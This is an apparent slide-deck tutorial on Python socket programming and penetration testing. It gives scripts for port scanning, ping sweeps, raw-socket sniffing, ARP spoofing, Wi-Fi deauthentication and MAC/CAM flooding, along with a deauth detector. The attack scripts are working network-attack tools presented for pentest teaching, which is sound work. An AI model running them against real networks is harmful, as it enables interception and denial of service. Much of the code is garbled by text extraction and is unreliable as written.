0% found this document useful (0 votes)
1 views68 pages

Python Socket Programming

The document provides an overview of socket programming in Python, detailing the concepts of sockets, their methods, and how to establish client-server communication. It explains the different types of sockets, their methods for server and client interactions, and includes examples of Python code for creating a server and client. Additionally, it discusses port scanning techniques and the use of ICMP for identifying live hosts in a network.

Uploaded by

ishmaelj750
Copyright
© All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PPTX, PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
1 views68 pages

Python Socket Programming

The document provides an overview of socket programming in Python, detailing the concepts of sockets, their methods, and how to establish client-server communication. It explains the different types of sockets, their methods for server and client interactions, and includes examples of Python code for creating a server and client. Additionally, it discusses port scanning techniques and the use of ICMP for identifying live hosts in a network.

Uploaded by

ishmaelj750
Copyright
© All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PPTX, PDF, TXT or read online on Scribd

The Socket and its Methods

Sockets are the endpoints of a bidirectional communication channel. They may


communicate within a process, between processes on the same machine or between
processes on different machines. On a similar note, a network socket is one endpoint in a
communication flow between two programs running over a computer network such as the
Internet. It is purely a virtual thing and does not mean any hardware. Network socket can
be identified by a unique combination of an IP address and port number. Network sockets
may be implemented over a number of different channel types like TCP, UDP, and so on.
The different terms related to socket used in network programming are as follows:

Domain
Domain is the family of protocols that is used as the transport mechanism. These values
are constants such as AF_INET, PF_INET, PF_UNIX, PF_X25, and so on.
Type
Type means the kind of communication between two endpoints, typically SOCK_STREAM for
connection-oriented protocols and SOCK_DGRAM for connectionless protocols.

Protocol
This may be used to identify a variant of a protocol within a domain and type. Its default value is
0. This is usually left out.

Hostname
This works as the identifier of a network interface. A hostname nay be a string, a dotted- quad
address, or an IPV6 address in colon (and possibly dot) notation.

Port
Each server listens for clients calling on one or more ports. A port may be a Fixnum port number,
a string containing a port number, or the name of a service.
Python’s Socket Module for Socket Programming
To implement socket programming in python, we need to use the Socket module. Following is a
simple syntax to create a Socket:

import socket
s = [Link] (socket_family, socket_type, protocol = 0)

Here, we need to import the socket library and then make a simple socket. Following
are the different parameters used while making socket:
 socket_family − This is either AF_UNIX or AF_INET, as explained earlier.

 socket_type − This is either SOCK_STREAM or SOCK_DGRAM.


 protocol − This is usually left out, defaulting to 0.
Socket Methods
In this section, we will learn about the different socket methods. The three different set of
socket methods are described below:
 Server Socket Methods
 Client Socket Methods
 General Socket Methods

Server Socket Methods


In the client-server architecture, there is one centralized server that provides service and
many clients receive service from that centralized server. The clients also do the request to
server. A few important server socket methods in this architecture are as follows:
 [Link](): This method binds the address (hostname, port number) to the socket.
Server Socket Methods
In the client-server architecture, there is one centralized server that provides service and many
clients receive service from that centralized server. The clients also do the request to server. A
few important server socket methods in this architecture are as follows:
 [Link](): This method binds the address (hostname, port number) to the socket.

 [Link](): This method basically listens to the connections made to the socket. It
starts TCP listener. Backlog is an argument of this method which specifies the maximum
number

 [Link](): This will accept TCP client connection. The pair (conn, address) is the
return value pair of this method. Here, conn is a new socket object used to send and
receive data on the connection and address is the address bound to the socket. Before
using this method, the [Link]() and [Link]() method must be used.
Client Socket Methods
The client in the client-server architecture requests the server and receives services from the
server. For this, there is only one method dedicated for clients:
 [Link](address): this method actively intimate server connection or in simple
words this method connects the client to the server. The argument address represents the
address of the server.

General Socket Methods


Other than client and server socket methods, there are some general socket methods, which
are very useful in socket programming. The general socket methods are as follows:
 [Link](bufsize): As name implies, this method receives the TCP message from
socket. The argument bufsize stands for buffer size and defines the maximum data this
method can receive at any one time.
 [Link](bytes): This method is used to send data to the socket which is
connected to the remote machine. The argument bytes will gives the number of
bytes sent to the socket.

 [Link](data, address): This method receives data from the socket.


Two pair (data, address) value is returned by this method. Data defines the
received data and address specifies the address of socket sending the data.

 [Link](data, address): As name implies, this method is used to send


data from the socket. Two pair (data, address) value is returned by this method.
Data defines the number of bytes sent and address specifies the address of the
remote machine.
 [Link](): This method will close the socket.

 [Link](): This method will return the name of the host.

 [Link](data): This method sends all the data to the socket which is connected to
a remote machine. It will carelessly transfers the data until an error occurs and if it
happens then it uses [Link]() method to close the socket.

Program to establish a connection between server & client


To establish a connection between server and client, we need to write two different Python
programs, one for server and the other for client.
Server-side program
In this server side socket program, we will use the [Link]() method which binds it to a
specific IP address and port so that it can listen to incoming requests on that IP and port.
Later, we use the [Link]() method which puts the server into the listen mode. The
number, say 4, as the argument of the [Link]() method means that 4 connections
are kept waiting if the server is busy and if a 5th socket tries to connect then the connection
is refused. We will send a message to the client by using the [Link]() method.
Towards the end, we use the [Link]() and [Link]() method for initiating and
closing the connection respectively. Following is a server side program:

import
socket
def
Main():
host
=
sock
et.g
etho
stna
me()
port
=
1234
5
serversocket =
[Link]()
print("Got connection from %s" %
str(addr)) msg = 'Connecting
Established'+ "\r\n"
[Link]([Link]('ascii
')) [Link]()
if name == ' main ':
Main()

Client-side program
In the client-side socket program, we need to make a socket object. Then we will connect
to the port on which our server is running — 12345 in our example. After that we will
establish a connection by using the [Link]() method. Then by using the
[Link]() method, the client will receive the message from server. At last, the
[Link]() method will close the client.
import socket
s = [Link](socket.AF_INET,
socket.SOCK_STREAM) host =
[Link]()
port = 12345
[Link]((host,
port)) msg =
[Link](1024)
[Link]()
print
([Link]('ascii'
Now, after running the server-side program we will get the following output on terminal:
socket is listening
Got connection from ('[Link]', 49904)

And after running the client-side program, we will get the following output on other terminal:

Connection Established

Handling network socket exceptions


There are two blocks namely try and except which can be used to handle network socket
exceptions. Following is a Python script for handling exception:

import socket
host = "[Link]"
port = 12345
s = [Link](socket.AF_INET,
socket.SOCK_DGRAM) try:
[Link]((host,port
))
[Link](3)
data, addr =
[Link](1024)
print ("recevied from
",addr) print ("obtained
", data) [Link]()
except [Link] :

print ("No connection between client and


server") [Link]()

Output
The above program generates the following output:
No connection between client and server

In the above script, first we made a socket object. This was followed by providing the host IP address and port
number on which our server is running — 12345 in our example. Later, the try block is used and inside it by using
the [Link]() method, we will try to bind the IP address and port. We are using [Link]() method
for setting the wait time for client, in our example we are setting 3 seconds. The except block is used which will
print a message if the connection will not be established between server and client.
5. Python Penetration Testing —
Python
Network Scanner
Port scanning may be defined as a surveillance technique, which is used in order to
locate the open ports available on a particular host. Network administrator,
penetration tester or a hacker can use this technique. We can configure the port
scanner according to our requirements to get maximum information from the target
system.
Now, consider the information we can get after running the port scan:
 Information about open ports.
 Information about the services running on each port.
 Information about OS and MAC address of the target host.

Port scanning is just like a thief who wants to enter into a house by checking every
door and window to see which ones are open. As discussed earlier, TCP/IP protocol
suite, use for communication over internet, is made up of two protocols namely TCP
and UDP. Both of the protocols have 0 to 65535 ports. As it always advisable to close
unnecessary ports of our system hence essentially, there are more than 65000 doors
(ports) to lock. These 65535 ports can be divided into the following three ranges:
 System or well-known ports: from 0 to 1023
 User or registered ports: from 1024 to 49151
 Dynamic or private ports: all > 49151

Port Scanner using Socket


In our previous chapter, we discussed what a socket is. Now, we will build a simple port
scanner using socket. Following is a Python script for port scanner using socket:
from socket import
* import time
startTime =
[Link]()

if name == '
main ':
target = input('Enter the host to be
scanned: ') t_IP = gethostbyname(target)
print ('Starting scan on host: ', t_IP)

for i in range(50, 500):


s = socket(AF_INET, SOCK_STREAM)

conn = s.connect_ex((t_IP, i))


if(conn == 0) :
print ('Port %d: OPEN' %
(i,)) [Link]()
print('Time taken:', [Link]() -
startTime)

When we run the above script, it will prompt for the hostname, you can provide any
hostname like name of any website but be careful because port scanning can be seen as, or
construed as, a crime. We should never execute a port scanner against any website or IP
address without explicit, written permission from the owner of the server or computer that
you are targeting. Port scanning is akin to going to someone’s house and checking their
doors and windows. That is why it is advisable to use port scanner on localhost or your own
website (if any).

Output
The above script generates the following output:

Enter the host to be scanned:


localhost Starting scan on host:
[Link]
Port 135: OPEN
Port 445: OPEN
Time taken: 452.3990001678467
The output shows that in the range of 50 to 500 (as provided in the script), this port scanner
found two ports — port 135 and 445, open. We can change this range and can check for
other ports.

Port Scanner using ICMP (Live hosts in a


network)
ICMP is not a port scan but it is used to ping the remote host to check if the host is up.
This scan is useful when we have to check a number of live hosts in a network. It involves
sending an ICMP ECHO Request to a host and if that host is live, it will return an ICMP
ECHO Reply.

The above process of sending ICMP request is also called ping scan, which is provided
by the operating system’s ping command.
Concept of Ping Sweep
Actually in one or other sense, ping sweep is also known as ping sweeping. The only
difference is that ping sweeping is the procedure to find more than one machine
availability in specific network range. For example, suppose we want to test a full list of IP
addresses then by using the ping scan, i.e., ping command of operating system it would
be very time consuming to scan IP addresses one by one. That is why we need to use
ping sweep script. Following is a Python script for finding live hosts by using the ping
sweep:
import os
import
platform
from datetime
import
datetime

net = input("Enter the Network


Address: ") net1= [Link]('.')
a = '.'
net2 = net1[0]+a+net1[1]+a+net1[2]+a
st1 = int(input("Enter the Starting Number:
")) en1 = int(input("Enter the Last
Number: ")) en1=en1+1

oper =
[Link]() if
(oper=="Windows"):
ping1 = "ping -n 1
" elif (oper==
"Linux"):
ping1 = "ping -c 1
" else :
ping1 = "ping
-c 1 "
t1= [Link]()
print ("Scanning in
Progress:")
for ip in
range(st1,en1):
addr =
net2+str(ip
) comm =
ping1+addr
response =
[Link](co
mm)
for line in
[Link]
ines():
if([Link](
"TTL")):
break
if
([Link]("T
TL")):
print (addr,
"--> Live")
t2=
print ("Scanning completed in: ",total)

The above script works in three parts. It first selects the range of IP address to ping sweep scan by splitting it into
parts. This is followed by using the function, which will select command for ping sweeping according to the operating
system, and last it is giving the response about the host and time taken for completing the scanning process.
Output
The above script generates the following output:

The above output is showing no live ports because the firewall is on and ICMP inbound settings are disabled too. After
changing these settings, we can get the list of live ports in the range from 1 to 100 provided in the output.

Port Scanner using TCP scan


To establish a TCP connection, the host must perform a three-way handshake. Follow these steps to perform the action:

Step 1: Packet with SYN flag set


In this step, the system that is trying to initiate a connection starts with a packet that has the SYN flag set.

Step 2: Packet with SYN-ACK flag set


In this step, the target system returns a packet with SYN and ACK flag sets.
Step 3: Packet with ACK flag set
At last, the initiating system will return a packet to the original target system with the ACK flag set.
Nevertheless, the question that arises here is if we can do port scanning using ICMP echo request and reply method
(ping sweep scanner) then why do we need TCP scan? The main reason behind it is that suppose if we turn off the ICMP
ECHO reply feature or using a firewall to ICMP packets then ping sweep scanner will not work and we need TCP scan.
net2 = net1[0]+a+net1[1]+a+net1[2]+a
st1 = int(input("Enter the Starting Number: "))
en1 = int(input("Enter the Last Number:
")) en1=en1+1

t1=
[Link]()
def scan(addr):
s=
[Link](socket.AF_INET,socket.SOCK_STREAM
) [Link](1)
result =
s.connect_ex((addr,135)) if
result==0:
return 1
else :
r
e
t
u
r
n

0
def run1():
for
ip in
range
(st1,
en1):
The above script works in three parts. It selects the range of IP address to ping sweep scan by splitting it into parts.
This is followed by using a function for scanning the address, which further uses the socket. Later, it gives the
response about the host and time taken for completing the scanning process. The result = s. connect_ex((addr,135))
statement returns an error indicator. The error indicator is 0 if the operation succeeds, otherwise, it is the value of
the errno variable. Here, we used port 135; this scanner works for the Windows system. Another port which will work
here is 445 (Microsoft-DSActive Directory) and is usually open.

Output
The above script generates the following output:

Enter the IP address: [Link]


Enter the
Starting Number:
1 Enter the
Last Number: 10
1. is live
2. is live
[Link] is live

[Link] is live
[Link] is live
[Link] is live
[Link] is live
[Link] is live
[Link] is live

[Link] is live
Scanning completed in: 0:00:00.230025
Threaded Port Scanner for increasing efficiency
As we have seen in the above cases, port scanning can be very slow. For example, you can
see the time taken for scanning ports from 50 to 500, while using socket port scanner, is
452.3990001678467. To improve the speed we can use threading. Following is an example
of port scanner using threading:
import socket
import time
import threading
from queue
import Queue
[Link](0.2
5) print_lock =
[Link]()

target = input('Enter the host to be scanned:


') t_IP = [Link](target)
print ('Starting scan on host: ', t_IP)

def portscan(port):

s = [Link](socket.AF_INET,
socket.SOCK_STREAM) try:
con = [Link]((t_IP,
port)) with print_lock:
print(port, 'is
open') [Link]()
def threader():
while True:
worker = [Link]()
portscan(wor
ker)
q.task_done(
)

q = Queue()
startTime =
[Link]()

for x in
range(100):
t =
[Link](target=thre
ader) [Link] = True
[Link]()

for worker in
range(1, 500):
[Link](worker)

[Link]()
In the above script, we need to import the threading module, which is inbuilt in the Python
package. We are using the thread locking concept, thread_lock = [Link]() to
avoid multiple modification at a time. Basically, [Link]() will allow single thread to
access the variable at a time. Hence, no double modification occurs.
Later, we define one threader() function that will fetch the work (port) from the worker for
loop. Then the portscan() method is called to connect to the port and print the result. The
port number is passed as parameter. Once the task is completed the q.task_done() method
is called.
Now after running the above script, we can see the difference in speed for scanning 50 to
500 ports. It only took 1.3589999675750732 seconds, which is very less than
452.3990001678467, time taken by socket port scanner for scanning the same number of
ports of localhost.

Output
The above script generates the following output:
Enter the host to be scanned: localhost
Starting scan on host:[Link]
135 is open
445 is open
Time taken: 1.3589999675750732
6. Python Penetration Testing —
Network
Packet Sniffing
Sniffing or network packet sniffing is the process of monitoring and capturing all
the packets passing through a given network using sniffing tools. It is a form
wherein, we can “tap phone wires” and get to know the conversation. It is also
called wiretapping and can be applied to the computer networks.
There is so much possibility that if a set of enterprise switch ports is open, then
one of their employees can sniff the whole traffic of the network. Anyone in the
same physical location can plug into the network using Ethernet cable or connect
wirelessly to that network and sniff the total traffic.
In other words, Sniffing allows you to see all sorts of traffic, both protected and
unprotected. In the right conditions and with the right protocols in place, an
attacking party may be able to gather information that can be used for further
attacks or to cause other issues for the network or system owner.
What can be sniffed?
One can sniff the following sensitive information from a network −
● Email traffic
● FTP passwords
● Web traffics
● Telnet passwords
● Router configuration
● Chat sessions
● DNS traffic
How does sniffing work?
A sniffer normally turns the NIC of the system to the promiscuous mode so that it
listens to all the data transmitted on its segment.
The promiscuous mode refers to the unique way of Ethernet hardware, in particular,
network interface cards (NICs), that allows an NIC to receive all traffic on the network,
even if it is not addressed to this NIC. By default, an NIC ignores all traffic that is not
addressed to it, which is done by comparing the destination address of the Ethernet
packet with the hardware address (MAC) of the device. While this makes perfect
sense for networking, non-promiscuous mode makes it difficult to use network
monitoring and analysis software for diagnosing connectivity issues or traffic
accounting.
A sniffer can continuously monitor all the traffic to a computer through the NIC by
decoding the information encapsulated in the data packets.
Types of Sniffing
Sniffing can be either Active or Passive in nature. We will now learn about the different types
of sniffing.

Passive Sniffing
In passive sniffing, the traffic is locked but it is not altered in any way. Passive sniffing allows
listening only. It works with the Hub devices. On a hub device, the traffic is sent to all the
ports. In a network that uses hubs to connect systems, all hosts on the network can see the
traffic. Therefore, an attacker can easily capture traffic going through.
The good news is that hubs have almost become obsolete in recent times. Most modern
networks use switches. Hence, passive sniffing is no more effective.

Active Sniffing
In active sniffing, the traffic is not only locked and monitored, but it may also be altered in
some way as determined by the attack. Active sniffing is used to sniff a switch-based
network. It involves injecting address resolution packets (ARP) into a target network to flood
on the switch content addressable memory (CAM) table. CAM keeps track of which host is
connected to which port.
Following are the Active Sniffing Techniques −
 MAC Flooding
 DHCP Attacks
 DNS Poisoning
 Spoofing Attacks
 ARP Poisoning

The Sniffing Effects on Protocols


Protocols such as the tried and true TCP/IP were never designed with security in mind. Such protocols do not offer much resistance to
potential intruders. Following are the different protocols that lend themselves to easy sniffing −

HTTP
It is used to send information in clear text without any encryption and thus a real target.

SMTP (Simple Mail Transfer Protocol)


SMTP is utilized in the transfer of emails. This protocol is efficient, but it does not include any protection against sniffing.

NNTP (Network News Transfer Protocol)


It is used for all types of communication. A major drawback with this is that data and even passwords are sent over the network as clear
text.

POP (Post Office Protocol)


POP is strictly used to receive emails from the servers. This protocol does not include protection
against sniffing because it can be trapped.

FTP (File Transfer Protocol)


FTP is used to send and receive files, but it does not offer any security features. All the data is
sent as clear text that can be easily sniffed.

IMAP (Internet Message Access Protocol)


IMAP is same as SMTP in its functions, but it is highly vulnerable to sniffing.

Telnet
Telnet sends everything (usernames, passwords, keystrokes) over the network as clear text and
hence, it can be easily sniffed.
Sniffers are not the dumb utilities that allow you to view only live traffic. If you really want to
analyze each packet, save the capture and review it whenever time allows.
Implementation using Python
Before implementing the raw socket sniffer, let us understand the struct method as described below:

[Link](fmt, a1,a2,…)
As the name suggests, this method is used to return the string, which is packed according to the given
format. The string contains the values a1, a2 and so on.

[Link](fmt, string)
As the name suggests, this method unpacks the string according to a given format.
In the following example of raw socket sniffer IP header, which is the next 20 bytes in the packet and among
these 20 bytes we are interested in the last 8 bytes. The latter bytes show if the source and destination IP
address are parsing:
import socket
import
struct
import
Now, we will create a
binascii socket, which will have three parameters. The first parameter tells us
about the packet interface — PF_PACKET for Linux specific and AF_INET for windows; the second
parameter tells us that it is a raw socket and the third parameter tells us about the protocol we
are interested in —0x0800 used for IP protocol.
s = [Link](socket.AF_INET, socket.SOCK_RAW, socket.
htons(0x0800))
while True:
packet = [Link](2048)

In the following line of code, we are ripping the Ethernet header:


ethernet_header = packet[0][0:14]

With the following line of code, we are parsing and unpacking the header with the struct
method:

eth_header = [Link]("!6s6s2s", ethernet_header)

The following line of code will return a tuple with three hex values, converted by hexify
in the binascii module:

print "Destination MAC:" + [Link](eth_header[0]) + " Source


MAC:" + [Link](eth_header[1]) + " Type:" +
[Link](eth_header[2])
We can now get the IP header by executing the following line of code:

ipheader = pkt[0][14:34]
ip_header = [Link]("!12s4s4s", ipheader)
print "Source IP:" + socket.inet_ntoa(ip_header[1]) + " Destination
socket.inet_ntoa(ip_header[2])

Similarly, we can also parse the TCP header.


7. Python Penetration
Testing — ARP Spoofing
ARP may be defined as a stateless protocol which is used for mapping Internet Protocol
(IP) addresses to a physical machine addresses.

Working of ARP
In this section, we will learn about the working of ARP. Consider the following steps to
understand how ARP works:
 Step 1: First, when a machine wants to communicate with another it must look up to
its ARP table for physical address.

 Step 2: If it finds the physical address of the machine, the packet after converting to
its right length, will be sent to the desired machine.

 Step 3: But if no entry is found for the IP address in the table, the ARP_request will be
broadcast over the network.
 Step 4: Now, all the machines on the network will compare the broadcasted IP address to
MAC address and if any of the machines in the network identifies the address, it will
respond to the ARP_request along with its IP and MAC address. Such ARP message is
called ARP_reply.

 Step 5: At last, the machine that sends the request will store the address pair in its ARP
table and the whole communication will take place.

What is ARP Spoofing?


It may be defined as a type of attack where a malicious actor is sending a forged ARP
request over the local area network. ARP Poisoning is also known as ARP Spoofing. It can
be understood with the help of the following points:
 First ARP spoofing, for overloading the switch, will constructs a huge number of
falsified ARP request and reply packets.

 Then the switch will be set in forwarding mode.

 Now, the ARP table would be flooded with spoofed ARP responses, so that the
attackers can sniff all network packets.
Implementation using Python
In this section, we will understand Python implementation of ARP spoofing. For this, we need three MAC
addresses — first of the victim, second of the attacker and third of the gateway. Along with that, we also
need to use the code of ARP protocol.
Let us import the required modules as follows:
import socket import struct
import binascii
Now, we will create a socket, which will have three parameters. The first parameter tells
us about the packet interface (PF_PACKET for Linux specific and AF_INET for windows),
the second parameter tells us if it is a raw socket and the third parameter tells us about
the protocol we are interested in (here 0x0800 used for IP protocol).
s = [Link](socket.AF_INET, socket.SOCK_RAW, socket.
htons(0x0800)) [Link](("eth0",[Link](0x0800)))
We will now provide the mac address of attacker, victim and gateway machine:
attckrmac = '\x00\x0c\x29\x4f\x8e\x76' victimmac ='\
x00\x0C\x29\x2E\x84\x5A'
gatewaymac = '\x00\x50\x56\xC0\x00\x28'
We need to give the code of ARP protocol as shown:

code ='\x08\x06'
Two Ethernet packets, one for victim machine and another for gateway machine have been crafted as
follows:
ethernet1 = victimmac+attckmac+code ethernet2 = gatewaymac+
attckmac +code
The following lines of code are in order as per accordance with the ARP header:

htype = '\x00\x01' protype = '\x08\x00'


hsize = '\x06' psize = '\x04'
opcode = '\x00\x02'

Now we need to give the IP addresses of the gateway machine and victim machines (Let us assume we
have following IP addresses for gateway and victim machines):

gateway_ip = '[Link]'
victim_ip = '[Link]'
Convert the above IP addresses to hexadecimal format with the help of the
socket.inet_aton() method.

gatewayip = socket.inet_aton ( gateway_ip ) victimip = socket.inet_aton (


victim_ip )

Execute the following line of code to change the IP address of gateway machine.

victim_ARP = ethernet1 + htype + protype + hsize + psize + opcode + attckmac+ gatewayip +


victimmac + victimip
gateway_ARP= ethernet2 +htype +protype + hsize +psize +opcode +attckmac + victimip+
gatewaymac+ gatewayip
while 1: [Link](victim_ARP) [Link](gateway_ARP)

Implementation using Scapy on Kali Linux


ARP spoofing can be implemented using Scapy on Kali Linux. Follow these steps to perform the same:
Step 1: Address of attacker machine
In this step, we will find the IP address of the attacker machine by running the command
ifconfig on the command prompt of Kali Linux.
Step 2: Address of target machine
In this step, we will find the IP address of the target machine by running the command ifconfig on the
command prompt of Kali Linux, which we need to open on another virtual machine.
Step 3: Ping the target machine
In this step, we need to ping the target machine from the attacker machine with the help of
following command:

Ping –c [Link](say IP address of target machine)


Step 4: ARP cache on target machine

We already know that two machines use ARP packets to exchange MAC addresses hence after step 3, we
can run the following command on the target machine to see the ARP cache:

arp -n
Step 5: Creation of ARP packet using Scapy
We can create ARP packets with the help of Scapy as follows:
scapy
arp_packt = ARP() arp_packt.display()

Step 6: Sending of malicious ARP packet using Scapy


We can send malicious ARP packets with the help of Scapy as follows:
arp_packt.pdst = “[Link]”(say IP address of target machine)
arp_packt.hwsrc = “11:11:11:11:11:11”
arp_packt.psrc = ”[Link]” arp_packt.hwdst =
“ff:ff:ff:ff:ff:ff”
send(arp_packt)
Step 7: Again check ARP cache on target machine

Now if we will again check ARP cache on target machine then we will see the fake address ‘[Link]’.
8. Python Penetration Testing —
Pentesting of
Wireless Network
Wireless systems come with a lot of flexibility but on the other hand, it leads to serious
security issues too. And, how does this become a serious security issue — because
attackers, in case of wireless connectivity, just need to have the availability of signal to
attack rather than have the physical access as in case of wired network. Penetration
testing of the wireless systems is an easier task than doing that on the wired network.
We cannot really apply good physical security measures against a wireless medium, if
we are located close enough, we would be able to "hear" (or at least your wireless
adapter is able to hear) everything, that is flowing over the air.

Prerequisites
Before we get down with learning more about pentesting of wireless network, let us
consider discussing terminologies and the process of communication between the client
and the wireless system.
Important Terminologies
Let us now learn the important terminologies related to pentesting of wireless network.

Access Point (AP)


An access point (AP) is the central node in 802.11 wireless implementations. This point is used
to connect users to other users within the network and also can serve as the point of
interconnection between wireless LAN (WLAN) and a fixed wire network. In a WLAN, an AP is a
station that transmits and receives the data.

Service Set Identifier (SSID)


It is 0-32 byte long human readable text string which is basically the name assigned to a
wireless network. All devices in the network must use this case-sensitive name to
communicate over wireless network (Wi-Fi).

Basic Service Set Identification (BSSID)


It is the MAC address of the Wi-Fi chipset running on a wireless access point (AP). It is
generated randomly.
Channel Number
It represents the range of radio frequency used by Access Point (AP) for transmission.

Communication between client and the wireless system


Another important thing that we need to understand is the process of communication
between client and the wireless system. With the help of the following diagram, we can
understand the same:
The Beacon Frame
In the communication process between client and the access point, the AP periodically sends a beacon frame
to show its presence. This frame comes with information related to SSID, BSSID and channel number.

The Probe request


Now, the client device will send a probe request to check for the APs in range. After sending the probe
request, it will wait for the probe response from AP. The Probe request contains the information like SSID of
AP, vender-specific info, etc.

The Probe response


Now, after getting the probe request, AP will send a probe response, which contains the information like
supported data rate, capability, etc.

The Authentication request


Now, the client device will send an authentication request frame containing its identity.

The Authentication response


Now in response, the AP will send an authentication response frame indicating acceptance or rejection.
The Association request
When the authentication is successful, the client device has sent an association
request frame containing supported data rate and SSID of AP.

The Association response


Now in response, the AP will send an association response frame indicating acceptance
or rejection. An association ID of the client device will be created in case of
acceptance.

Finding Wireless Service Set Identifier (SSID) using Python


We can gather the information about SSID with the help of raw socket method as well
as by using Scapy library.

Raw socket method


We have already learnt that mon0 captures the wireless packets; so, we need to set
the monitor mode to mon0. In Kali Linux, it can be done with the help of airmon-ng
script. After running this script, it will give wireless card a name say wlan1. Now with
the help of the following command, we need to enable monitor mode on mon0:
airmon-ng start wlan1

Following is the raw socket method, Python script, which will give us the SSID of the AP:
First of all we need to import the socket modules as follows:

import socket
Now, we will create a socket that will have three parameters. The first parameter tells us about the
packet interface (PF_PACKET for Linux specific and AF_INET for windows), the second parameter tells us
if it is a raw socket and the third parameter tells us that we are interested in all packets.

s = [Link](socket.AF_INET, socket.SOCK_RAW, socket. htons(0x0003))


Now, the next line will bind the mon0 mode and 0x0003.
[Link](("mon0", 0x0003))

Now, we need to declare an empty list, which will store the SSID of APs.

ap_list = []
Now, we need to call the recvfrom() method to receive the packet. For the sniffing to
continue, we will use the infinite while loop.

while True:
packet = [Link](2048)

The next line of code shows if the frame is of 8 bits indicating the beacon
frame.

if packet[26] == "\x80" :
if packetkt[36:42] not in
ap_list and
ord(packetkt[63]) > 0:
ap_list.add(packetkt[36:42])

print("SSID:",
(pkt[64:64+ord(pkt[63])],pkt[36:42].en
code('hex')))
SSID sniffer with Scapy
Scapy is one of the best libraries that can allow us to easily sniff Wi-Fi packets. You can learn
Scapy in detail at [Link] To begin with, run Sacpy in interactive
mode and use the command conf to get the value of iface. The default interface is eth0. Now as
we have the dome above, we need to change this mode to mon0. It can be done as follows:

>>> [Link] = "mon0"


>>> packets = sniff(count = 3)
>>> packets
<Sniffed: TCP:0 UDP:0 ICMP:0 Other:5>
>>> len(packets) 3

Let us now import Scapy as a library. Further, the execution of the following Python script will give us the SSID:

from [Link] import *

Now, we need to declare an empty list which will store the SSID of APs.
ap_list = []
Now we are going to define a function named Packet_info(), which will have the complete packet parsing logic. It will have
the argument pkt.
def Packet_info(pkt) :

In the next statement, we will apply a filter which will pass only Dot11 traffic which means
802.11 traffic. The line that follows is also a filter, which passes the traffic having frame type 0 (represents management
frame) and frame subtype is 8 (represents beacon frame).

if [Link](Dot11) :
if (([Link] == 0) & ([Link] == 8)) : if pkt.addr2 not in ap_list :

ap_list.append(pkt.addr2) print("SSID:", (pkt.addr2, [Link]))

Now, the sniff function will sniff the data with iface value mon0 (for wireless packets) and invoke the Packet_info
function.
sniff(iface="mon0", prn = Packet_info)

For implementing the above Python scripts, we need Wi-Fi card that is capable of sniffing the air using the monitor mode.

Detecting Access Point


For detecting the clients of access points, we need to capture the probe request frame. We can do it just as we have done
Clients
in the Python script for SSID sniffer using Scapy. We need to give Dot11ProbeReq for capturing probe request frame.
Following is the Python script to detect clients of access points:
from [Link] import *

probe_list = []

ap_name= input(“Enter the name of

access point”) def Probe_info(pkt) :

if

[Link](Dot11Prob

eReq) : client_name =

[Link]
if client_name == ap_name :
if pkt.addr2 not in
Probe_info:
Print(“New Probe request--”,
client_name) Print(“MAC is
--”, pkt.addr2)
Probe_list.append(pkt.addr2)

sniff(iface="mon0", prn =
Probe_info)
Wireless Attacks
From the perspective of a pentester, it is very important to understand how a wireless attack takes place. In this section,
we will discuss two kinds of wireless attacks:
 The de-authentication (deauth) attacks

 The MAC flooding attack

The de-authentication (deauth) attacks


In the communication process between a client device and an access point whenever a client wants to disconnect, it needs
to send the de-authentication frame. In response to that frame from the client, AP will also send a de-authentication frame.
An attacker can get the advantage from this normal process by spoofing the MAC address of the victim and sending the de-
authentication frame to AP. Due to this the connection between client and AP is dropped. Following is the Python script to
carry out the de-authentication attack:
Let us first import Scapy as a library:

from [Link] import * import sys

Following two statements will input the MAC address of AP and victim respectively.

BSSID = input("Enter MAC address of the Access Point:- ") vctm_mac =


input("Enter MAC address of the Victim:- ")
Now, we need to create the de-authentication frame. It can be created by executing the following
statement.
frame= RadioTap()/ Dot11(addr1=vctm_mac,addr2=BSSID, addr3=BSSID)/ Dot11Deauth()

The next line of code represents the total number of packets sent; here it is 500 and the interval between
two packets.
sendp(frame, iface="mon0", count= 500, inter= .1)

Output
Upon execution, the above command generates the following output:

Enter MAC address of the Access Point:- (Here, we need to provide the MAC address of AP)
Enter MAC address of the Victim:- (Here, we need to provide the MAC address of the victim)

This is followed by the creation of the deauth frame , which is thereby sent to access point on behalf of the client. This will
make the connection between them cancelled.
The question here is how do we detect the deauth attack with Python script. Execution of the following Python script will help
in detecting such attacks:

from [Link] import * i=1


def deauth_frame(pkt):
if [Link](Dot11):

if (([Link] == 0) & ([Link]==12)): global i


print ("Deauth frame detected: ", i) i=i+1
sniff(iface="mon0",prn=deauth_frame)

In the above script, the statement [Link]==12 indicates the deauth frame and the variable I which is globally defined tells about
the number of packets.

Output
The execution of the above script generates the following output:

Deauth frame detected:


1 Deauth frame
detected: 2
Deauth frame detected:
3 Deauth frame
detected: 4 Deauth
frame detected: 5
Deauth frame detected:
The
6 MAC address flooding attacks
The MAC address flooding attack (CAM table flooding attack) is a type of network attack where an attacker connected to a
switch port floods the switch interface with very large number of Ethernet frames with different fake source MAC addresses.
The CAM Table Overflows occur when an influx of MAC addresses is flooded into the table and the CAM table threshold is
reached. This causes the switch to act like a hub, flooding the network with traffic at all ports. Such attacks are very easy to
launch. The following Python script helps in launching such CAM flooding attack:
from [Link] import *

def
generate_packet
s():
packet_list =
[]
for i in xrange(1,1000):
packet=Ether(src=RandMAC(),dst=RandMAC())/IP(src=RandIP(),d
st=RandIP()) packet_list.append(packet)
return packet_list

def cam_overflow(packet_list):
sendp(packet_list, iface='wlan')

if name == ' main ':


packet_list =
generate_packets()
cam_overflow(packet_list)

The main aim of this kind of attack is to check the security of the switch. We need to use port security if want to make
the effect of the MAC flooding attack lessen.
9. Python Penetration Testing —
Application
Layer
Web applications and web servers are critical to our online presence and the attacks observed
against them constitute more than 70% of the total attacks attempted on the Internet. These
attacks attempt to convert trusted websites into malicious ones. Due to this reason, web
server and web application pen testing plays an important role.

Foot printing of a web server


Why do we need to consider the safety of web servers? It is because with the rapid growth of
e-commerce industry, the prime target of attackers is web server. For web server pentesting,
we must know about web server, its hosting software & operating systems along with the
applications, which are running on them. Gathering such information about web server is
called footprinting of web server.
In our subsequent section, we will discuss the different methods for footprinting of a web
server.
Methods for footprinting of a web server
Web servers are server software or hardware dedicated to handle requests and serve responses. This is a key area for a
pentester to focus on while doing penetration testing of web servers.
